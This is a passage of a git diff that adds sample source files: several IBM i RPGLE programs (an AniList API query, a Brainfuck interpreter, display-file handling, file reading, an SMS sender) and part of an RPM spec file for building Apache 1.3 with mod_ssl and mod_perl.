+            nested '$.entries[*]' columns(
+              id char(32) path '$.id'
+            )
+          )
+        )
+      )
+      select
+        (select count(*) from ml where name = 'COMPLETED') as completed,
+        (select count(*) from ml where name = 'DROPPED'  ) as dropped,
+        (select count(*) from ml where name = 'PLANNING' ) as planned,
+        (select count(*) from ml where name = 'WATCHING' ) as current,
+        (select count(*) from ml where name = 'PAUSED'   ) as paused,
+        (select count(*) from ml where name = 'REPEATING') as repeat
+      into :listCounts
+      from ml
+      limit 1;
+
+    ALDOLCOMP = listCounts.completed;
+    ALDOLDROP = listCounts.dropped;
+    ALDOLPLAN = listCounts.planned;
+    ALDOLCURR = listCounts.current;
+    ALDOLPAUS = listCounts.paused;
+    ALDOLREPT = listCounts.repeat;
+  on-error;
+    ALDOERROR = 'Error in getMediaLists ()';
+  endmon;
+  return;
+end-proc;
+
+
+dcl-proc getUser;
+
+  dcl-ds user qualified;
+    id       varchar(10);
+    username varchar(18);
+    url      varchar(32);
+    hours    varchar(10);
+  end-ds;
+
+  dcl-s reqBody varchar(256);
+  reqBody = '{"query": "{User(search:\"' + %trim(ALDIUSRNM) +
+    '\"){id name siteUrl stats{watchedTime}}}"}';
+  
+  monitor;
+    exec SQL
+      select
+        id,
+        username,
+        url,
+        (minutes / 60) as hours 
+      into :user
+      from json_table(
+        Systools.HttpPostClob(:reqUrl, :reqHeader, :reqBody),
+      '$.data.User'
+      columns(
+        id       varchar(10) path '$.id',
+        username varchar(20) path '$.name',
+        url      varchar(32) path '$.siteUrl',
+        minutes  varchar(10) path '$.stats.watchedTime'
+      )
+    );
+    
+    ALDOID = user.id;
+    ALDONAME = user.username;
+    ALDOHOURS = user.hours;
+    ALDOURL = user.url;
+  on-error;
+    ALDOERROR = 'Error in getUser()';
+  endmon;
+
+  return;
+end-proc;
+
+
+dcl-proc resetDspf;
+  clear ALDR001;
+  dspf.exit = *OFF;
+  dspf.cancel = *OFF;
+end-proc;
+
diff --git a/samples/RPGLE/bfint.sqlrpgle b/samples/RPGLE/bfint.sqlrpgle
new file mode 100644
index 0000000000..81fac9d0e8
--- /dev/null
+++ b/samples/RPGLE/bfint.sqlrpgle
@@ -0,0 +1,204 @@
+**free
+// Basic BF Interpreter in fully free RPGLE
+
+ctl-opt main(main);
+ctl-opt option(*srcstmt:*nodebugio:*nounref) dftactgrp(*no);
+
+dcl-c MEMSIZE  30000;
+dcl-c PGMSIZE  4096;
+dcl-c BUFFSIZE 128;
+
+dcl-s memory  int(3) dim(MEMSIZE) inz(*zeros);
+dcl-s result  varchar(BUFFSIZE)   inz(*blanks);
+dcl-s pgm     varchar(PGMSIZE);
+dcl-s insPtr  int(5)  inz(1);
+dcl-s memPtr  int(5)  inz(1);
+dcl-s outPtr  int(5)  inz(1);
+
+
+dcl-pr main extpgm('BFINT');
+  *n char(PGMSIZE);
+  *n char(BUFFSIZE);
+end-pr;
+
+
+dcl-proc main;
+  dcl-pi *n;
+    bfpgm     char(PGMSIZE);
+    outBuffer char(BUFFSIZE);
+  end-pi;
+
+  dcl-s ins char(1) inz('');
+
+  monitor;
+    memory(*) = 1;
+    pgm = sanitize(bfpgm);
+    
+    for insPtr = 1 to %len(pgm);
+      ins = getInstruction();
+
+      select;
+        when (ins = '>');
+          moveRight();
+        when (ins = '<');
+          moveLeft();
+        when (ins = '+');
+          increment();
+        when (ins = '-');
+          decrement();
+        when (ins = '.');
+          output();
+        when (ins = ',');
+          input();
+        when (ins = '[');
+          jumpFwd();
+        when (ins = ']');
+          jumpBack();
+        other;
+          // ignore bad instructions
+      endsl;
+    endfor;
+
+  on-error;
+    dsply ('Fatal error occurred interpreting BF source.');
+    return;
+  endmon;
+
+  on-exit;
+    outBuffer = result;
+    *inlr = *on;
+    return;
+end-proc;
+
+
+// strip valid characters out of source
+dcl-proc sanitize;
+  dcl-pi *n char(PGMSIZE);
+    dirty char(PGMSIZE);
+  end-pi;
+
+  dcl-c valid '[]><+-.,';
+  dcl-s buffer char(PGMSIZE) inz(*blanks);
+  dcl-s i int(5) inz(0);
+
+  for i = 1 to %len(dirty);
+    if %scan(%subst(dirty:i:1):valid) <> 0;
+      %subst(buffer:i:1) = %subst(dirty:i:1);
+    endif;
+  endfor;
+
+  return %trim(buffer);
+end-proc;
+
+
+// get current instruction at instruction pointer
+dcl-proc getInstruction;
+  dcl-pi *n char(1) end-pi;
+
+  return %subst(pgm:insPtr:1);
+end-proc;
+
+
+// increment memory pointer to next cell on the right
+dcl-proc moveRight;
+  if memPtr = MEMSIZE;
+    memPtr = 1;
+  else;
+    memPtr += 1;
+  endif;
+end-proc;
+
+
+// decrement data pointer to next cell on the left
+dcl-proc moveLeft;
+  if memPtr = 1;
+    memPtr = MEMSIZE;
+  else;
+    memPtr -= 1;
+  endif;
+end-proc;
+
+
+// increment byte at memory pointer
+dcl-proc increment;
+  memory(memPtr) += 1;
+end-proc;
+
+
+// decrement byte at memory pointer
+dcl-proc decrement;
+  memory(memPtr) -= 1;
+end-proc;
+
+
+// add byte at memory pointer to output buffer
+dcl-proc output;
+  dcl-s memCell int(3)  inz(*zeros);
+  dcl-s outCell char(1) inz(*blanks);
+
+  // check ASCII decimal =>  %char(%editc(memory(memPtr):'X'));
+  memCell = memory(memPtr);
+
+  exec SQL
+    set :outCell = chr(:memCell - 1);
+
+  %subst(result:outPtr:1) = outCell;
+  outPtr += 1;
+end-proc;
+
+
+// input byte and store at memory pointer
+dcl-proc input;
+  dcl-s c char(16) inz(*blanks);
+
+  dsply 'INPUT: ' '' c;
+  memory(memPtr) = %int(%subst(c:1:1));
+end-proc;
+
+
+// jump instruction pointer forward to next instruction after matching ']' instruction
+dcl-proc jumpFwd;
+  dcl-s depth int(5) inz(0);
+  dcl-s ins char(1) inz('');
+
+  if memory(memPtr) = 1;
+    insPtr += 1;
+    ins = getInstruction();
+
+    dow depth > 0 or ins <> ']';
+      if ins = '[';
+        depth += 1;
+      elseif ins = ']';
+        depth -= 1;
+      endif;
+
+      insPtr += 1;
+      ins = getInstruction();
+    enddo;
+  endif;
+end-proc;
+
+
+// jump instruction pointer back to instruction after matching '[' instruction
+dcl-proc jumpBack;
+  dcl-s depth int(5) inz(0);
+  dcl-s ins char(1) inz('');
+
+  if memory(memPtr) <> 1;
+    insPtr -= 1;
+    ins = getInstruction();
+
+    dow depth > 0 or ins <> '[';
+      if ins = ']';
+        depth += 1;
+      elseif ins = '[';
+        depth -= 1;
+      endif;
+      
+      insPtr -= 1;
+      ins = getInstruction();
+    enddo;
+    
+    insPtr -= 1;
+  endif;
+end-proc;
\ No newline at end of file
diff --git a/samples/RPGLE/dspf.rpgle b/samples/RPGLE/dspf.rpgle
new file mode 100644
index 0000000000..918a073aee
--- /dev/null
+++ b/samples/RPGLE/dspf.rpgle
@@ -0,0 +1,66 @@
+**free                                                      
+                                                            
+ctl-opt main(main);                                         
+ctl-opt option(*srcstmt:*nodebugio:*nounref) dftActGrp(*no);
+                                                            
+dcl-f PERSONDSPF workstn indDs(dspf) usropn;                
+
+dcl-ds dspf qualified;                                      
+  exit    ind pos(3);                                       
+  refresh ind pos(5);                                       
+end-ds;                                                     
+                                                            
+dcl-ds pgmDs PSDS qualified;                                
+  procName *proc;                                           
+end-ds;                                                     
+                                                                 
+dcl-pr main extpgm('DSPFPGM2') end-pr;                           
+                                                                 
+dcl-proc main;                                                   
+  monitor;                                                       
+    open PERSONDSPF;                                             
+    dspfHandler();                                               
+    close PERSONDSPF;                                            
+  on-error *file;                                                
+    dsply ('Error opening display file.');                       
+  endmon;                                                        
+                                                                 
+  *INLR = *on;                                                   
+  return;                                                        
+end-proc;                                                        
+                                                                 
+                                                                 
+// display file loop                                             
+dcl-proc dspfHandler;                                            
+                                                                  
+  monitor;                                                        
+    ##PGM = pgmDs.procName;                                       
+    resetScreen();                                                
+                                                                  
+    doU (dspf.exit);                                              
+      exfmt #PRSRCD1;                                             
+                                                                  
+      if (dspf.exit);                                             
+        resetScreen();                                            
+        leave;                                                    
+      elseif (dspf.refresh);                                      
+        resetScreen();                                            
+      elseif (#1NAME <> *blanks and #1AGE <> *blanks);            
+        #1MSG = 'Entered person: "' + %trim(#1NAME) + '"';        
+      else;                                                       
+        #1MSG = 'Please fill out all fields';                     
+      endif;                                                      
+    enddo;                                                        
+  on-error;                                                       
+    #1MSG = 'Unexpected error occurred handling display file';    
+  endmon;                                                         
+end-proc;                                                         
+                                                                  
+                                                                  
+// reset fields on screen and any other reset logic                                    
+dcl-proc resetScreen;     
+  clear #1MSG;                                                         
+  clear #1AGE;                                                         
+  clear #1NAME;                                                        
+end-proc;                                                              
+      
\ No newline at end of file
diff --git a/samples/RPGLE/fizzbuzz.rpgle b/samples/RPGLE/fizzbuzz.rpgle
new file mode 100644
index 0000000000..1039c1a926
--- /dev/null
+++ b/samples/RPGLE/fizzbuzz.rpgle
@@ -0,0 +1,16 @@
+**free
+
+dcl-s num int(10);
+
+for num = 1 to 25;
+  if (%rem(num:3) = 0 and %rem(num:5) = 0);
+    dsply ('num - ' + %char(num) + ' FIZZBUZZ');
+  elseif (%rem(num:3) = 0);
+    dsply ('num - ' + %char(num) + ' FIZZ');
+  elseif (%rem(num:5) = 0);
+    dsply ('num - ' + %char(num) + ' BUZZ');
+  endif;
+endfor;
+
+*INLR = *ON;
+return;
\ No newline at end of file
diff --git a/samples/RPGLE/ifsread.rpgle b/samples/RPGLE/ifsread.rpgle
new file mode 100644
index 0000000000..9d54885157
--- /dev/null
+++ b/samples/RPGLE/ifsread.rpgle
@@ -0,0 +1,78 @@
+**free
+// Return IFS file as string
+
+ctl-opt main(main);
+ctl-opt option(*srcstmt:*nodebugio:*nounref) dftactgrp(*no);
+
+dcl-pr main extpgm('IFSREAD');
+  *n char(127);
+  *n char(4096);
+end-pr;
+
+dcl-pr fopen pointer extproc('_C_IFS_fopen');
+  fileName pointer value options(*string);
+  fileMode pointer value options(*string);
+end-pr;
+
+dcl-pr fgets pointer extproc('_C_IFS_fgets');
+  line    pointer value;
+  size    int(10) value;
+  fstream pointer value;
+end-pr;
+
+dcl-pr fclose int(10) extproc('_C_IFS_fclose');
+  fstream pointer value;
+end-pr;
+
+
+dcl-proc main;
+  dcl-pi *n;
+    fpath     char(127);
+    fcontents char(4096);
+  end-pi;
+
+  dcl-s fp char(127) inz(*blanks);
+
+  fp = %trim(fpath) + x'00';
+
+  monitor;
+    fcontents = readFileContents(fp);
+  on-error;
+    dsply ('Fatal error occurred reading file.');
+    return;
+  endmon;
+
+  on-exit;
+    *inlr = *on;
+    return;
+end-proc;
+
+
+// read file contents into string
+dcl-proc readFileContents;
+  dcl-pi *N varchar(4096);
+    fpath char(128) value;
+  end-pi;
+
+  dcl-s fptr       pointer;
+  dcl-s contents   varchar(4096);
+  dcl-s lineBuffer char(128);
+  dcl-s fmode      char(5);
+    
+  fmode = 'r' + x'00';
+  fptr = fopen(%addr(fpath): %addr(fmode));
+    
+  if (fptr = *null);
+    dsply ('Could not open file');
+    return contents;
+  endif;
+
+  dow (fgets(%addr(lineBuffer): %size(lineBuffer): fptr) <> *null);
+    lineBuffer = %xlate(x'00250D': '   ': lineBuffer); // LF,CR,NULL
+    contents += %trimr(lineBuffer);
+    clear lineBuffer;
+  enddo;
+
+  fclose(%addr(fpath));
+  return contents; 
+end-proc;
\ No newline at end of file
diff --git a/samples/RPGLE/psds.rpgle b/samples/RPGLE/psds.rpgle
new file mode 100644
index 0000000000..fd97adbeb6
--- /dev/null
+++ b/samples/RPGLE/psds.rpgle
@@ -0,0 +1,23 @@
+**free
+
+ctl-opt main(main);
+ctl-opt option(*srcstmt:*noDebugIO:*nounref) dftActGrp(*no);
+
+dcl-ds pgmDs PSDS qualified;
+  date     char(8)  pos(191);
+  user     char(10) pos(244);
+  jobNum   char(10) pos(254);
+  procName *proc;
+end-ds;
+
+dcl-pr main extPgm('TESTPSDS') end-pr;
+
+dcl-proc main;
+  dsply (pgmDs.date);
+  dsply (pgmDs.user);
+  dsply (pgmDs.jobNum);
+  dsply (pgmDs.procName);
+
+  *INLR = *ON;
+  return;
+end-proc;
\ No newline at end of file
diff --git a/samples/RPGLE/qcmdexc_ex.rpgle b/samples/RPGLE/qcmdexc_ex.rpgle
new file mode 100644
index 0000000000..b41dd50ec2
--- /dev/null
+++ b/samples/RPGLE/qcmdexc_ex.rpgle
@@ -0,0 +1,15 @@
+**free
+
+dcl-pr qcmd extpgm('QCMDEXC');
+  cmd    char(3000) const;
+  cmdLen packed(15:5) const;
+  dbcs   char(3) const options(*nopass);
+end-pr;
+
+dcl-s cmd varchar(128);
+
+cmd = 'DSPJOB OUTPUT(*PRINT)';
+qcmd(cmd: %len(cmd));
+
+*INLR=*ON;
+return;
\ No newline at end of file
diff --git a/samples/RPGLE/sms.sqlrpgle b/samples/RPGLE/sms.sqlrpgle
new file mode 100644
index 0000000000..12a9b2bd54
--- /dev/null
+++ b/samples/RPGLE/sms.sqlrpgle
@@ -0,0 +1,51 @@
+**free
+
+  ctl-opt nomain;
+
+  /include sms_h.rpgle
+
+
+  // Send request to Twilio API, log and return response as DS
+  dcl-proc sendSmsVerbose export;
+    dcl-pi *N likeds(smsResponse);
+      req     likeds(smsRequest);
+    end-pi;
+    
+    dcl-ds resp    likeds(smsResponse);
+    dcl-s  resp_rs sqltype(RESULT_SET_LOCATOR);
+
+    exec SQL call send_sms(:req.phone_to, :req.phone_from, :req.msg, :req.account, :req.auth);
+    exec SQL associate result set locator (:resp_rs) with procedure send_sms;
+    exec SQL allocate c1 cursor for result set :resp_rs;
+    exec SQL fetch next from c1 into :resp;
+    exec SQL close c1;
+    exec SQL insert into sms_log values(:resp); // log response
+
+    return resp;
+  end-proc;
+
+
+  // Send request to Twilio API, log and return error code.
+  // For simple requests where we don't care about the details immediately.
+  // We just care whether it successfully sent the request
+  dcl-proc sendSms export;
+    dcl-pi *N    varchar(8); 
+      phone_to   varchar(16);
+      phone_from varchar(16);
+      msg        varchar(1600);
+      account    varchar(64);
+      auth       varchar(64);
+    end-pi;
+
+    dcl-ds resp likeds(smsResponse);
+    dcl-ds req  likeds(smsRequest);
+
+    req.phone_to = phone_to;
+    req.phone_from = phone_from;
+    req.msg = msg;
+    req.account = account;
+    req.auth = auth;
+
+    resp = sendSmsVerbose(req);
+    return resp.error_code;
+  end-proc;
\ No newline at end of file
diff --git a/samples/RPGLE/sms_h.rpgle b/samples/RPGLE/sms_h.rpgle
new file mode 100644
index 0000000000..f213a81263
--- /dev/null
+++ b/samples/RPGLE/sms_h.rpgle
@@ -0,0 +1,56 @@
+**free
+
+/if not defined (SMS)
+/define SMS
+
+dcl-ds smsResponse qualified template;
+  sid           varchar(64);
+  date_created  varchar(64);
+  date_updated  varchar(64);
+  date_sent     varchar(64);
+  account_sid   varchar(64);
+  phone_to      varchar(32);
+  phone_from    varchar(32);
+  msg_srv_sid   varchar(64);
+  body          varchar(1600);
+  status        varchar(16);
+  num_segments  varchar(8);
+  num_media     varchar(8);
+  direction     varchar(32);
+  api_version   varchar(16);
+  price         varchar(8);
+  price_unit    varchar(4);
+  error_code    varchar(8);
+  error_message varchar(512);
+  uri           varchar(256);
+end-ds;
+
+
+dcl-ds smsRequest qualified template;
+  phone_to   varchar(16);
+  phone_from varchar(16);
+  msg        varchar(1600);
+  account    varchar(64);
+  auth       varchar(64);
+end-ds;
+
+
+// Send request DS to Twilio API, log and return entire response as DS
+dcl-pr sendSmsVerbose likeds(smsResponse);
+  req likeds(smsRequest);
+end-pr;
+
+
+// Send request to Twilio API, log and only return error code
+// For simple requests where we don't care about the details immediately.
+// We just care whether it successfully sent the request
+dcl-pr sendSms varchar(8);
+  phone_to     varchar(16);
+  phone_from   varchar(16);
+  msg          varchar(1600);
+  account      varchar(64);
+  auth         varchar(64);
+end-pr;
+
+
+/endif
\ No newline at end of file
diff --git a/samples/RPM Spec/apache.spec b/samples/RPM Spec/apache.spec
new file mode 100644
index 0000000000..6e34ba9873
--- /dev/null
+++ b/samples/RPM Spec/apache.spec	
@@ -0,0 +1,673 @@
+%define _prefix /usr/local
+%define _mandir /usr/local/man
+%define _sysconfdir /etc
+
+%define apache_ver      1.3.42
+%define mod_ssl_ver     2.8.31
+%define	mod_perl_ver    1.31
+%define	libapreq_ver    1.34
+
+
+%define aname           apache
+%define pname           httpd13
+%define contentdir      %{_var}/www
+%define suexec_caller   apache
+
+Summary:       The 1.x Apache webserver (with static mod_perl, mod_ssl)
+Name:          apache
+Version:       %{apache_ver}
+Release:       4%{?dist}
+License:       Apache Software License 2.0
+URL:           http://httpd.apache.org/
+Group:         System Environment/Daemons
+
+Requires:      initscripts >= 3.25
+Requires:      openssl >= 0.9.6
+
+BuildRequires: openssl-devel mm-devel krb5-devel pkgconfig 
+BuildRequires: perl-ExtUtils-MakeMaker perl-libwww-perl perl-HTML-Parser perl-ExtUtils-Embed
+BuildRequires: gdbm-devel flex 
+Requires:      /sbin/chkconfig /bin/mktemp /usr/sbin/useradd
+Requires:      findutils procps
+
+Provides:      webserver
+Provides:      mod_perl = %{mod_perl_ver}
+Provides:      perl(mod_perl) = %{mod_perl_ver}
+Provides:      mod_ssl = %{mod_ssl_ver}
+Provides:      apache = %{apache_ver}
+
+Source0:       http://httpd.apache.org/dist/apache_%{apache_ver}.tar.bz2
+Source1:       http://www.modssl.org/source/mod_ssl-%{mod_ssl_ver}-%{apache_ver}.tar.gz
+Source2:       http://perl.apache.org/dist/mod_perl-%{mod_perl_ver}.tar.gz
+Source3:       httpd.init
+Source4:       apache.logrotate
+Source5:       SSL-Certificate-Creation
+Source6:       ftp://ftp.cpan.org/authors/id/J/JO/JOESUF/libapreq-%{libapreq_ver}.tar.gz
+
+Patch0:        sslcfg.patch
+Patch1:        apache_1.3.39-config.patch
+Patch3:        apache_1.3.39-Makefile.patch
+Patch5:        apache_1.3.20-apachectl-init.patch
+Patch11:       mod_ssl-2.8.4-openssl.patch
+Patch12:       apache_1.3.42-db.patch
+Patch13:       apache-1.3.39-gcc44.patch
+Patch14:       mod_ssl-2.8.31-STACK.patch
+Patch15:       apache_1.3.39-ap_getline.patch
+Patch16:       mod_ssl-openssl-x86_64.patch
+Patch17:       mp1+perl5.14.diff
+Patch18:       apache_1.3.42-64bits.patch
+
+
+%description
+This package contains a powerful, full-featured, efficient, and
+freely-available Web server based on work done by the Apache Software
+Foundation. It is also the most popular Web server on the Internet.
+
+------------------------------------------------------------------------------
+This package is a custom release containing the httpd server (v%{apache_ver})
+bundled with: mod_perl v.%{mod_ssl_ver},
+and mod_ssl v%{mod_ssl_ver}, all BUILT-IN.
+------------------------------------------------------------------------------
+
+	The Apache/Perl integration project brings together the full power
+of the Perl programming language and the Apache HTTP server.
+	With mod_perl it is possible to write Apache modules entirely in Perl.
+In addition, the persistent interpreter embedded in the server avoids the
+overhead of starting an external interpreter and the penalty of Perl
+start-up time.
+	Mod_SSL provides strong cryptography for the Apache 1.3 webserver
+via the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security
+(TLSv1) protocols by the help of the Open Source SSL/TLS toolkit OpenSSL.
+
+
+%package devel
+Group:         Development/Libraries
+Summary:       Module development tools for apache-mod_ssl
+Provides:      eapi = %{mod_ssl_ver}
+Requires:      %{name} = %{version}
+Provides:      mod_perl-devel = %{mod_perl_ver}
+Provides:      mod_ssl-devel = %{mod_ssl_ver}
+Provides:      apache-devel = %{apache_ver}
+
+%description devel
+The apache-devel package contains the APXS binary and other files
+that you need to build Dynamic Shared Objects (DSOs) for Apache.
+If you are installing the Apache Web server and you want to be able
+to compile or develop additional modules for Apache, you need to install
+this package.
+
+
+%package manual
+Group:         Documentation
+Summary:       Documentation for the Apache Web server
+
+%description manual
+The apache-manual package contains the complete manual and reference
+guide for the Apache Web server.
+It also contains the basic web content (icons, default welcome messages,
+etc) provided with Apache's HTTPD distribution.
+
+
+%prep 
+%setup -q -c -T -n %{name}-%{version} -a 0
+%setup -q -c -T -D -n %{name}-%{version} -a 1
+%setup -q -c -T -D -n %{name}-%{version} -a 2
+%setup -q -c -T -D -n %{name}-%{version} -a 6
+
+pushd %{aname}_%{apache_ver}
+%patch0 -p0 -b .sslcfg
+%patch1 -p1 -b .config
+%patch3 -p0 -b .make
+%patch5 -p1 -b .apachectl-init
+%ifarch x86_64
+%patch18 -p1 -b .apache-x86_64
+%endif
+
+#patch12 -p1 -b .dbmdb
+%patch13 -p1 -b .compile
+%patch15 -p0 -b .ap_getline
+
+
+patch -p0 < ../libapreq-%{libapreq_ver}/patches/apache-1.3+apreq.patch
+cp ../libapreq-%{libapreq_ver}/c/*.[ch] src/lib/apreq/
+popd
+
+pushd mod_ssl-%{mod_ssl_ver}-%{apache_ver}
+%patch11 -p1 -b .openssl
+%patch14 -p0 -b .stack
+%ifarch x86_64
+%patch16 -p1 -b .openssl-x86_64
+%endif
+popd
+
+pushd mod_perl-%{mod_perl_ver}
+%patch17 -p1 -b .mp1+perl5.14.diff
+popd
+
+# Substitute values to match the configuration.  The first two are
+# for the default httpd.conf file, the rest is for the mod_ssl
+# additions.
+pushd %{aname}_%{apache_ver}
+sed -e 's,@@ServerRoot@@,%{_sysconfdir}/%{pname},g' \
+    -e 's,@@ContentRoot@@,%{contentdir},g' \
+    -e 's,^DocumentRoot "@@ContentRoot@@",#DocumentRoot "%{_sysconfdir}/%{pname}/htdocs",g' \
+    -e 's,^<Directory "@@ContentRoot@@/cgi-bin">,<Directory "%{contentdir}/cgi-bin">,g' \
+    -e 's,^ServerName new.host.name,#ServerName new.host.name,g' \
+    -e 's,^ServerAdmin you@your.address,#ServerAdmin you@your.address,g' \
+    -e 's,^SSLCipherSuite,#SSLCipherSuite,g' \
+    -e 's,^SSLLogLevel info,SSLLogLevel error,g' \
+    -e 's,^SSLSessionCache         dbm:logs/ssl_scache,SSLSessionCache         shm:logs/ssl_scache(512000),g' \
+    conf/httpd.conf-dist > conf/httpd.conf
+popd
+
+cp %{SOURCE5} .
+
+#cp %{_tmppath}/rpm-tmp* /tmp/01prep.sh
+
+%build
+export CFLAGS="$RPM_OPT_FLAGS -fPIC $(pkg-config --cflags openssl)"
+export LIBS="-lpthread"
+export EAPI_MM=SYSTEM
+
+###############################################
+echo mod_perl ...
+pushd mod_perl-%{mod_perl_ver}
+  perl Makefile.PL CCFLAGS="$RPM_OPT_FLAGS -fPIC" \
+    APACHE_SRC=../%{aname}_%{apache_ver}/src \
+    DO_HTTPD=1 USE_APACI=1 PREP_HTTPD=1 EVERYTHING=1
+  make %{?_smp_mflags}
+  ## put mod_perl docs in a safe place ;-]~
+  mkdir mod_perl-doc
+  cp -a eg/ faq/ mod_perl-doc/
+  cp {CREDITS,LICENSE,README,SUPPORT,STATUS,Changes,INSTALL*} mod_perl-doc/
+  cp *.{pod,html,gif} mod_perl-doc/
+  find mod_perl-doc -type f -exec chmod 644 {} \;
+popd
+
+###############################################
+echo mod_ssl ...
+export SSL_COMPAT=yes
+export SSL_EXPERIMENTAL=yes
+pushd mod_ssl-%{mod_ssl_ver}-%{apache_ver}
+  ./configure --with-apache=../apache_%{apache_ver} \
+    --with-mm=SYSTEM --force
+popd
+
+###############################################
+echo apache ...
+pushd %{aname}_%{apache_ver}
+  ./configure \
+ 	--prefix=%{_prefix} \
+ 	--exec-prefix=%{_prefix} \
+ 	--bindir=%{_bindir} \
+ 	--sbindir=%{_sbindir} \
+ 	--mandir=%{_mandir} \
+	--sysconfdir=%{_sysconfdir}/%{pname}/conf \
+	--libexecdir=%{_libdir}/apache \
+	--datadir=%{contentdir} \
+	--iconsdir=%{contentdir}/icons \
+	--htdocsdir=%{contentdir}/html \
+	--manualdir=%{contentdir}/html/manual \
+	--cgidir=%{contentdir}/cgi-bin \
+ 	--localstatedir=%{_localstatedir} \
+	--runtimedir=%{_sysconfdir}/%{pname}/run \
+	--logfiledir=logs \
+	--proxycachedir=%{_localstatedir}/cache/%{pname} \
+	--with-perl=%{__perl} \
+	--enable-rule=EAPI \
+	--enable-rule=SSL_COMPAT \
+	--enable-rule=SSL_EXPERIMENTAL \
+	--disable-rule=SSL_VENDOR \
+	--disable-rule=WANTHSREGEX \
+	--disable-rule=EXPAT \
+	%{?_with_backtrace:--activate-module=src/modules/experimental/mod_backtrace.c} \
+	%{?_with_whatkilledus:--activate-module=src/modules/experimental/mod_whatkilledus.c} \
+	--activate-module=src/modules/perl/libperl.a \
+	--enable-module=auth_dbm \
+	--enable-module=ssl \
+	--enable-module=all \
+	--enable-shared=max \
+	--disable-shared=perl \
+	--disable-shared=ssl \
+	--disable-module=example \
+	--disable-module=auth_db \
+	--without-execstrip \
+	%{?_with_suexec:--enable-suexec --suexec-docroot=%{contentdir}} \
+	%{?_with_suexec:--suexec-uidmin=300 --suexec-gidmin=300} \
+	%{?_with_suexec:--suexec-umask=022 --suexec-caller=%{suexec_caller}}
+
+  make %{?_smp_mflags}
+
+popd
+#cp %{_tmppath}/rpm-tmp* /tmp/02build.sh
+
+%install
+###############################################################################
+### install basic apache stuff
+pushd apache_%{apache_ver}
+  make install root="$RPM_BUILD_ROOT"
+popd
+
+### rename 
+mv $RPM_BUILD_ROOT%{_sbindir}/httpd $RPM_BUILD_ROOT%{_sbindir}/%{pname}
+
+### install SYSV init stuff
+mkdir -p $RPM_BUILD_ROOT%{_initrddir}
+install -m755 %{SOURCE3} $RPM_BUILD_ROOT%{_initrddir}/%{pname}
+
+### install log rotation stuff
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d
+install -m644 %{SOURCE4} $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d/apache
+
+### default rootdir links
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/%{pname}
+pushd $RPM_BUILD_ROOT%{_sysconfdir}/%{pname}
+	ln -s %{_localstatedir}/log/%{pname} logs
+	ln -s %{_libdir}/%{aname} modules
+	ln -s %{_localstatedir}/run run
+popd
+
+### replace Apache's default config file with our patched version
+install -m644 apache_%{apache_ver}/conf/httpd.conf \
+	$RPM_BUILD_ROOT%{_sysconfdir}/%{pname}/conf/httpd.conf
+
+# fix up apxs so that it doesn't think it's in the build root
+perl -pi -e "s^$RPM_BUILD_ROOT^^g" $RPM_BUILD_ROOT%{_sbindir}/apxs
+
+# fixup the documentation file naming
+find $RPM_BUILD_ROOT%{contentdir} -name "*.html.html" | xargs rename .html.html .html
+
+###############################################################################
+### install mod_perl files
+pushd mod_perl-%{mod_perl_ver}
+  export PERL_INSTALL_ROOT=$RPM_BUILD_ROOT 
+  make pure_install PREFIX=/usr INSTALLDIRS=vendor
+
+  # convert man pages to UTF-8
+  recode() {
+    iconv -f "$2" -t utf-8 < "$1" > "${1}_"
+    %{__mv} -f "${1}_" "$1"
+  }
+  pushd $RPM_BUILD_ROOT/usr/share/man/man3/
+	for i in * ; do
+		recode "${i}" iso-8859-1
+	done
+  popd
+
+  # fix files mod
+  find $RPM_BUILD_ROOT%{perl_vendorarch} -iname '*.pm' -exec chmod 0644 {} \;
+
+  # bake web docs...
+  mkdir -p $RPM_BUILD_ROOT%{contentdir}/html/manual/mod/mod_perl
+  install -c -m 644 htdocs/manual/mod/mod_perl.html \
+        $RPM_BUILD_ROOT%{contentdir}/html/manual/mod/mod_perl/
+  make -C faq
+  rm -f faq/pod2htm*
+  install -m644 faq/*.html \
+    $RPM_BUILD_ROOT%{contentdir}/html/manual/mod/mod_perl/
+
+popd
+
+# remove special perl files this is specific for rpms , already have in own .packlist
+find $RPM_BUILD_ROOT%{perl_vendorarch}/.. -name perllocal.pod -o -name .packlist \
+    -o -name '*.bs' | xargs -r -i rm -f {}
+
+### ssl leftovers
+# point to the right makefile.
+ln -sf ../../../etc/pki/tls/certs/Makefile $RPM_BUILD_ROOT%{_sysconfdir}/%{pname}/conf
+# create a prototype session cache
+touch $RPM_BUILD_ROOT%{_localstatedir}/cache/ssl_gcache_data.{dir,pag,sem}
+
+# drop shellbang from .exp files
+for exp in $RPM_BUILD_ROOT%{perl_vendorarch}/auto/Apache/mod_perl.exp $RPM_BUILD_ROOT%{_libdir}/%{aname}/httpd.exp
+do
+	sed -i '/^#!/ d' $exp
+done
+
+#cp %{_tmppath}/rpm-tmp* /tmp/03install.sh
+
+%post
+/sbin/chkconfig --add %{pname}
+/sbin/ldconfig
+
+# safely build a test certificate
+umask 077
+if [ ! -f %{_sysconfdir}/%{pname}/conf/ssl.key/server.key ] ; then
+openssl genrsa -rand /proc/apm:/proc/cpuinfo:/proc/dma:/proc/filesystems:/proc/interrupts:/proc/ioports:/proc/pci:/proc/rtc:/proc/uptime 1024 > %{_sysconfdir}/%{pname}/conf/ssl.key/server.key 2> /dev/null
+fi
+
+if [ ! -f %{_sysconfdir}/%{pname}/conf/ssl.crt/server.crt ] ; then
+cat << EOF | openssl req -new -key %{_sysconfdir}/%{pname}/conf/ssl.key/server.key -x509 -days 365 -out %{_sysconfdir}/%{pname}/conf/ssl.crt/server.crt 2>/dev/null
+--
+SomeState
+SomeCity
+SomeOrganization
+SomeOrganizationalUnit
+localhost.localdomain
+root@localhost.localdomain
+EOF
+fi
+
+# safely add .htm to mime types if it is not already there
+[ -f %{_sysconfdir}/mime.types ] || exit 0
+TEMPTYPES=`/bin/mktemp /tmp/mimetypes.XXXXXX`
+[ -z "$TEMPTYPES" ] && {
+  echo "could not make temporary file, htm not added to %{_sysconfdir}/mime.types" >&2
+  exit 1
+}
+( grep -v "^text/html"  %{_sysconfdir}/mime.types
+  types=$(grep "^text/html" %{_sysconfdir}/mime.types | cut -f2-)
+  echo -en "text/html\t\t\t"
+  for val in $types ; do
+      if [ "$val" = "htm" ] ; then
+          continue
+      fi
+      echo -n "$val "
+  done
+  echo "htm"
+) > $TEMPTYPES
